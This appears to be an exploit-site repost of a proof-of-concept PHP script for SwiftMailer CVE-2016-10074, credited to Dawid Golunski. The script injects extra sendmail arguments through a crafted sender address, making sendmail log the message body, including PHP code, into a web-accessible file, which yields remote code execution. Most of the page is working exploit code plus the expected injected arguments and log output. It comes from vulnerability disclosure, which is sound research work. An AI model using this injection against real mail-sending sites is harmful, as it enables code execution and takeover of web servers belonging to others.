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SwiftMailer 5.4.5-DEV - Remote Code Execution Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
<?php
/*
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
Discovered/Coded by:
Dawid Golunski
https://legalhackers.com
Full Advisory URL:
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
Exploit code URL:
https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt
Follow the feed for updates:
https://twitter.com/dawid_golunski
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == ["@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
See the full advisory URL for the exploit details.
*/
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// ------------------
// mail() param injection via the vulnerability in SwiftMailer
require_once 'lib/swift_required.php';
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);
// Create a message
$message = Swift_Message::newInstance('Swift PoC exploit')
->setFrom(array($email_from => 'PoC Exploit Payload'))
->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
->setBody('Here is the message itself')
;
// Send the message with PoC payload in 'from' field
$result = $mailer->send($message);
?>
# 0day.today [2024-11-15] #